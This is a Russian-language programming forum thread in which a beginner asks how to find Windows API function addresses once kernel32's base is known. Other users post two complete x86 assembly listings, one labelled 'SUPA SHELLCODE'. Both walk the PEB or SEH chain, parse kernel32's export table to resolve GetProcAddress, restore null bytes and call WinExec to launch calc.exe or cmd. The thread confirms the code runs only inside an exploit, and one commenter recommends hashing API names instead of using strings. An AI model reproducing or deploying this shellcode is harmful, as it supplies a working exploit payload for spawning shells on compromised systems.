Получение адресов функций

Тема в разделе "WASM.BEGINNERS", создана пользователем abu, 22 янв 2012.

  1. abu

    abu New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2011
    Сообщения:
    11
    Киньте люди добрые ) кто нить рабочий код получения адресов 2-3 фунок(на ваш выбор) после получения kernel
    то есть скажем
    GetBaseKernel:
    mov eax,dword ptr FS:[030h]
    mov eax,dword ptr [eax+0Ch]
    mov eax,dword ptr [eax+0Ch]
    mov eax,dword ptr [eax+018h]

    получаем адрес kernel32
    а дальше как адреса функций найти ?
    Сделайте кто нить копи пасте или накидайте от руки?
     
  2. Magnum

    Magnum New Member

    Публикаций:
    0
    Регистрация:
    29 дек 2007
    Сообщения:
    925
  3. kejcerfcrv

    kejcerfcrv New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2011
    Сообщения:
    320
    abu
    Не годится. Там может быть системная либа, типо верифера, либо аверская, они любят грузить их при старте процесса.

    Нужно взять нэйтива вход и через него найти кернил. Типо LdrGetDllHandle("kernel32.dll").

    Magnum
    Никуда не годная статья, вот почему:

    Способ 1. Не катит, там что угодно может быть в стеке, к примеру тред нэйтивный.
    2. NX-seh. Отвалится процесс, ибо вне модуля.
    3. ?

    Использование данных в коде зло. Есчо большее зло использовать строки. Апи должны искаться по их хэшам.

    За его использование следует отрезать руки.

    Не имеющий отношения к сабжу список имён.
     
  4. abu

    abu New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2011
    Сообщения:
    11
    хеши это уже дело десятое и бы сделал поиск легко ним , да и примеры есть. Просто я запостил здесь именно в этом разделе для новичка потому что новичек) и по той инфе и примерам рабочего ниче не получается. у меня. Поэтому я и прошу накидать или скопировать откуда нить мне на масм32 ... 20 - строк которые без проблем скомпилятся и я буду уже точно видеть как и что там работает ( поиск кернел потом GetProcAddress
    потом LoadLibrary потом поиск еще любой функи и усе) надеюсь я правильно последовательность действий описал?
     
  5. pashe4ka13

    pashe4ka13 New Member

    Публикаций:
    0
    Регистрация:
    4 окт 2010
    Сообщения:
    263
    думаю не трудно будет перевести мой фасм на ваш масм
    Код (Text):
    1. use32   ;бинарник будет 32-х разрядным
    2. start:
    3. Getproc:
    4.         xor ecx,ecx
    5.         mov cl,stroki ; ecx указывает на текстовую строку 'GetModuleHandleA'
    6.         mov esi,eax
    7.         mov esp,eax
    8.         add esi,ecx
    9.         push esi
    10.         mov ebp,esi
    11.         mov edi,esi
    12.         xor ecx,ecx
    13.         mov cl,len
    14. xor1:
    15.         lodsb
    16.         cmp al,01
    17.         jne nextb
    18.         xor al,01
    19. nextb:
    20.         stosb
    21.         loop xor1
    22.         xor ebx,ebx ; Обнуляем ebx
    23.         add ebx,30h
    24.         mov        eax,[fs:ebx]    ;берем базу kernelbase в PEB
    25.         mov        eax,[eax+0ch]
    26.         mov        esi,[eax+1ch]
    27.         lodsd
    28.         mov        eax,[eax+08h]
    29.         mov edx,eax
    30. found_MZ:
    31.         mov ebx,edx ; Сохраним указатель
    32.         mov edi,dword  [edx+3Ch] ; Адрес PE заголовка
    33.         add edi,edx ; +Адрес kernel'a
    34.         push edx ; Сохраним адрес kernel
    35.         add ebx,[edi+78h] ; Получим адрес таблицы эксп.
    36.         mov ecx,[ebx+18h] ; Количество указателей
    37.         mov esi,[ebx+20h] ; Указатель на таблицу указателей имен
    38.         mov edi,[ebx+24h] ; Указатель на таблицу ординалов
    39.         add esi,edx ; Адр. таблицы имен в памяти
    40.         add edi,edx ; Адр. таблицы ординалов в памяти
    41.         cld
    42.         add ebp,30 ; ebp указывает на следующую строку
    43. Search: ; Ищем функцию GetProcAddress
    44.         lodsd ; Берем указатель из таблицы указателей
    45.         add eax,edx
    46.         xchg esi,eax ; В esi указетль на имя найденной ф-ции
    47.         xchg edi,ebp ; Указываем на имя нужной нам фунции
    48.         push ecx ; Кладём ecx в стэк
    49.         xor ecx,ecx ; Обнуляем ecx
    50.         add cl,15 ; Размер строки
    51.         repe cmpsb ; Сравниваем
    52.         jc restore1
    53. rest2:
    54.         xchg esi,eax ; Восстановим значение esi
    55.         pop ecx ; Восстановим кол-во указателей
    56.         xchg edi,ebp ; Восстановим указатель на ординалы
    57.         je Found ; Нашли!
    58.         inc edi ; Нет - пробуем следующую ф-цию
    59.         inc edi ; Указатель на следующий ординал
    60.         loop Search
    61.         jmp Exit
    62. restore1:
    63.         xor esi,esi
    64.         mov si,61125
    65.         sub si,61110
    66.  
    67.         sub esi,ecx ; Восстанавливаем указатель (edi) на
    68.         sub edi,esi ; Начало строки
    69.         jmp rest2 ;
    70. Found:
    71.         xor eax,eax ; Обнуляем eax
    72.         mov ax,word  [edi]; Возьмем ординал
    73.         shl eax,2 ; Умножим на размер ординала
    74.         mov esi,[ebx+1Ch] ; Указатель на таблицу адресов
    75.         add esi,edx ; Получим адрес начала таблицы адресов
    76.         add esi,eax ; И адрес нужной ф-ции
    77.         lodsd ; Прочитаем
    78.         add eax,edx ; Добавим адрес kernel'a
    79.         mov ebx,eax ; адрес GetProcAddress в  ebx
    80.         call eax ;вызываем GetProcAddress получаем адрес функции  GetModuleHandleA
    81.         sub  ebp,28
    82.         push ebp ;
    83.         call eax ;вызывае GetModuleHandleA получаем адрес Kernel32
    84.         add  ebp,28
    85.         push ebp
    86.         push eax
    87.         call ebx  ;вызываем GetProcAddress получаем адрес функции  WinExec
    88.         add  ebp,8
    89.         push 0
    90.         push ebp
    91.         call eax  ;WinExec
    92.         pop ecx
    93.         sub ecx,0x200
    94.         jmp ecx
    95. Exit:
    96. ;--------------
    97. stroki  db 'GetModuleHandleA',01
    98.         db 'Kernel32.dll',01
    99.         db 'GetProcAddress',01
    100.         db 'WinExec',01
    101.         db 'calc.exe',01
    102. len     =  $-stroki
    103. konec:
    104. ;--------------
    105. ret
    106. sub eax,0xED
    107. jmp eax
     
  6. kejcerfcrv

    kejcerfcrv New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2011
    Сообщения:
    320
    В аттаче семпл.
     
  7. abu

    abu New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2011
    Сообщения:
    11
    Да я уже весь форум прошерстил и данный код уже видел тут же де то(я уже нашел все что возможно по теме, все статьи и мессаги). И не смог перевести на масм(
     
  8. kejcerfcrv

    kejcerfcrv New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2011
    Сообщения:
    320
    abu
    В шесть код такой, каким он должен быть в идеале. На масме.
     
  9. abu

    abu New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2011
    Сообщения:
    11
    глянул.
    при компиле ошибки сотни две

    E:\Program Files\Aleks-soft\ASMTool PE>ML /c /coff temp.asm
    Assembling: temp.asm
    error A4910: cannot open file: E:\Program Files\Aleks-soft\ASMTool PE\ml.err
    Img.asm(4) : error A2006: : PVOID
    Img.asm(4) : error A2195:
    Img.asm(4) : error A2006: : PIMAGE_NT_HEADERS
    Img.asm(7) : error A2006: : PIMAGE_DOS_HEADER
    Img.asm(7) : error A2158:
    Img.asm(11) : error A2006: : PIMAGE_NT_HEADERS
    Img.asm(11) : error A2158:
    Img.asm(29) : error A2006: : PSTR
    Img.asm(29) : error A2195:
    Img.asm(46) : error A2006: : ULONG
    Img.asm(46) : error A2195:
    Img.asm(46) : error A2006: : PCHAR
    Img.asm(65) : error A2006: : PVOID
    Img.asm(65) : error A2195:
    Img.asm(65) : error A2006: : ULONG
    Img.asm(66) : error A2006: : PIMAGE_EXPORT_DIRECTORY
    Img.asm(66) : error A2195:
    Img.asm(67) : error A2006: : PIMAGE_NT_HEADERS
    Img.asm(67) : error A2195:
    Img.asm(68) : error A2006: : ULONG
    Img.asm(68) : error A2195:
    Img.asm(75) : error A2114: : 2
    Img.asm(75) : error A2114: : 1
    Img.asm(79) : error A2006: : PIMAGE_NT_HEADERS
    Img.asm(79) : error A2158:
    Img.asm(84) : error A2006: : PIMAGE_EXPORT_DIRECTORY
    Img.asm(84) : error A2158:
    Img.asm(115) : error A2114: : 2
    Img.asm(115) : error A2114: : 1
    Img.asm(119) : error A2006: : PIMAGE_EXPORT_DIRECTORY
    Img.asm(119) : error A2158:
    Img.asm(142) : error A2023:
    Img.asm(158) : error A2006: : PVOID
    Img.asm(158) : error A2195:
    Img.asm(158) : error A2006: : ULONG
    Img.asm(166) : error A2114: : 5
    Img.asm(166) : error A2114: : 3
    Img.asm(166) : error A2133:
    temp.asm(105) : error A2008: : PVOID
    temp.asm(106) : error A2008: : PVOID
    temp.asm(107) : error A2008: : PVOID
    temp.asm(108) : error A2008: : PVOID
    temp.asm(114) : error A2006: : CHAR
    temp.asm(114) : error A2195:
    temp.asm(115) : error A2006: : UNICODE_STRING
    temp.asm(115) : error A2195:
    temp.asm(116) : error A2006: : HANDLE
    temp.asm(116) : error A2195:
    temp.asm(123) : error A2114: : 3
    temp.asm(123) : error A2114: : 2
    temp.asm(123) : error A2006: : NULL
    temp.asm(123) : error A2114: : 1
    temp.asm(158) : error A2114: : 3
    temp.asm(158) : error A2114: : 2
    temp.asm(61) : error A2006: : CONTEXT
    temp.asm(62) : error A2006: : CONTEXT
    temp.asm(63) : error A2006: : CONTEXT
    temp.asm(65) : error A2006: : EXCEPTION_RECORD
    temp.asm(66) : error A2006: : EXCEPTION_RECORD
    temp.asm(98) : error A2006: : TEB
    GET_NT_BASE(1): Macro Called From
    temp.asm(98): Main Line Code
    temp.asm(98) : error A2006: : PEB
    GET_NT_BASE(2): Macro Called From
    temp.asm(98): Main Line Code

    итд
     
  10. kejcerfcrv

    kejcerfcrv New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2011
    Сообщения:
    320
    Ну немного задефинить нужно, это да. Не поленитесь - это нужно сделать однократно, затем вы всегда будите юзать свои хидеры.
     
  11. abu

    abu New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2011
    Сообщения:
    11
    Было бы хорошо что выше на фасм на масме перевести , я там с переменными вобще не в понятках. По идее таким код и должен быть (не использовать изначально никаких dll и api уже в коде все динамически найти и загрузить мне в этом смысл и интерес и 30 строк по теме это было бы идеально)
    Наверно возьму какой нить подходящий шеллкод и все, там как раз оно должно быть
     
  12. pashe4ka13

    pashe4ka13 New Member

    Публикаций:
    0
    Регистрация:
    4 окт 2010
    Сообщения:
    263
    И в чем проблема то? Вот изначальный код, который я переписал с МАСМА на ФАСМ.
    Код (Text):
    1. ;--------------
    2. .386
    3. .model flat, stdcall
    4.  
    5. extrn ExitProcess:proc
    6.  
    7. .data
    8. start:
    9.  
    10. ;---------------[SUPA SHELLCODE]--------
    11. Getproc:
    12.  
    13. mov esi,esp ; esi указывает на вершину стэка
    14. xor ecx,ecx ; обнуляем ecx
    15. mov cl,169 ; ecx указывает на текстовую строку
    16. ; 'WinExec'
    17. add esi,ecx ; И esi теперь указывет на 'WinExec'
    18. push    esi ; Кладём esi в стэк
    19. mov ebp,esi ; И ebp теперь указывет на 'WinExec'
    20.  
    21. mov edi,esi ; И edi теперь указывет на 'WinExec'
    22. xor ecx,ecx ; Обнуляем ecx
    23. mov cl,27 ; И кладём в cl 27
    24. xor1: lodsb ; Загружаем в al байт
    25. cmp al,01 ; Проверяем 1 это или нет
    26. jne nextb ; Если нет ищем дальше
    27. xor al,01 ; Если 1, то обнуляем его и
    28. nextb:
    29. stosb ; Возвращаем на место
    30. loop    xor1 ; Таким образом мы восстанавливаем
    31. ; Все нужные нам нули
    32. xor ebx,ebx ; Обнуляем ebx
    33.  
    34. mov eax, fs:[ebx] ; Указатель на список обработчиков
    35. inc eax ; Увеличиваем eax на 1
    36. next_seh:
    37. xchg eax, ebx ; Обмениваем содержимое eax c ebx
    38. mov eax, [ebx-1] ; Номер текущего обработчика
    39. inc eax ; Увеличиваем eax на 1
    40. jnz next_seh ; Является ли он системным (-1)?
    41. mov edx, [ebx-1+4] ; Адрес обработчика
    42. xchg ax, dx ; Эквивалентно xor dx,dx (eax=0)
    43.  
    44. xor eax,eax  ; Обнуляем eax
    45.  
    46. mov ax,1001h ; Помещаем в eax
    47. dec ax   ; 1000
    48. next_block:
    49. cmp word ptr [edx],'ZM' ; Начало?
    50. je found_MZ  ; ДА!
    51. sub edx,eax  ; Ищем дальше
    52. jmp next_block
    53. found_MZ:
    54. mov ebx,edx  ; Сохраним указатель
    55. mov edi,dword ptr [edx+3Ch] ; Адрес PE заголовка
    56. add edi,edx  ; +Адрес kernel'a
    57. cmp word ptr [edi],'EP' ; Проверка на PE
    58. jne Exit     ; Не равно - выходим
    59. push    edx  ; Сохраним адрес kernel'a
    60.  
    61. add ebx,[edi+78h] ; Получим адрес таблицы эксп.
    62. mov ecx,[ebx+18h] ; Количество указателей
    63. mov esi,[ebx+20h] ; Указатель на таблицу указателей имен
    64. mov edi,[ebx+24h] ; Указатель на таблицу ординалов
    65. add esi,edx  ; Адр. таблицы имен в памяти
    66. add edi,edx  ; Адр. таблицы ординалов в памяти
    67. cld  ; Поиск вперед
    68. add ebp,8 ; ebp указывает на следующую строку
    69. Search:  ; Ищем функцию GetProcAddress
    70. lodsd    ; Берем указатель из таблицы указателей
    71. add eax,edx  ; Получаем адрес памяти
    72. xchg esi,eax     ; В esi указетль на имя найденной ф-ции
    73.  
    74. xchg edi,ebp     ;
    75. ; Указываем на имя нужной нам фунции
    76. push    ecx ; Кладём ecx в стэк
    77. xor ecx,ecx ; Обнуляем ecx
    78. add cl,15    ; Размер строки
    79. repe cmpsb   ; Сравниваем
    80. jc  restore1
    81. rest2:
    82. xchg esi,eax     ; Восстановим значение esi
    83.  
    84. pop ecx  ; Восстановим кол-во указателей
    85. xchg edi,ebp     ; Восстановим указатель на ординалы
    86.  
    87. je Found     ; Нашли!
    88. inc edi  ; Нет - пробуем следующую ф-цию
    89. inc edi  ; Указатель на следующий ординал
    90. loop Search
    91. jmp Exit
    92. restore1:
    93. xor esi,esi ;
    94. mov si,61125 ; Помещаем в esi число 15
    95. sub si,61110 ;
    96.  
    97. sub esi,ecx ; Восстанавливаем указатель (edi) на
    98. sub edi,esi ; Начало строки
    99. jmp rest2 ;
    100. Found:
    101. xor eax,eax ; Обнуляем eax
    102. mov ax,word ptr [edi]
    103. ;
    104. ; Возьмем ординал
    105. shl eax,2    ; Умножим на размер ординала
    106. mov esi,[ebx+1Ch]   ; Указатель на таблицу адресов
    107. add esi,edx  ; Получим адрес начала таблицы адресов
    108. add esi,eax  ; И адрес нужной ф-ции
    109. lodsd    ; Прочитаем
    110. add eax,edx  ; Добавим адрес kernel'a
    111.  
    112. call    eax ; Получаем адрес функции WinExec
    113.  
    114. push    1 ; Заполняем стэк
    115. push    ebp ;
    116.  
    117. call    eax  ; Запускаем "cmd.exe"
    118. Exit:
    119. ;--------------
    120. db  'WinExec',01
    121. db  'GetProcAddress',01
    122. db 'cmd',01
    123. konec:
    124.  
    125. .code
    126. ;--------------
    127. nop
    128. ;--------------
    129. end start
    130. end
    131.  
    132. ;--------------
    Код был взят отсюда Автор человек с ником sl0n. Сравни два кода, отличия в синтаксисе минимальны, поэтому не понятно какие у вас трудности.
     
  13. abu

    abu New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2011
    Сообщения:
    11
    Спасибо . Особенно за ссыль. А трудности с этим
    stroki db 'GetModuleHandleA',01
    db 'Kernel32.dll',01
    db 'GetProcAddress',01
    db 'WinExec',01
    db 'calc.exe',01
    len = $-stroki
    konec:

    и кста надо указать на масм -
    assume fs:flat;
    и помимо этого там куча ошибок (намерянно их что ли сделали или автор сам не проверял че у него на выходе получится)
     
  14. abu

    abu New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2011
    Сообщения:
    11
    mov esi,esp ; esi указывает на вершину стэка
    xor ecx,ecx ; обнуляем ecx
    mov ecx,169h ; ecx указывает на текстовую строку
    ; 'WinExec'
    add esi,ecx ; И esi теперь указывет на 'WinExec'
    push esi ; Кладём esi в стэк
    mov ebp,esi ; И ebp теперь указывет на 'WinExec'

    хотя бы здесь
    esi будет указывать на 0013012D
    а не на строку

    или это расчитано конкретно на шеллкод и что он будет в стеке? Поэтому такие адреса - смещения? И если отдельно компилировать это то код сам по себе не рабочий получается , я правильно понимаю?

    Да , этот код работает только в контексте сплойта...
    Все понял.
     
  15. kejcerfcrv

    kejcerfcrv New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2011
    Сообщения:
    320
    abu
    Продам вам хидеры.

    Лол.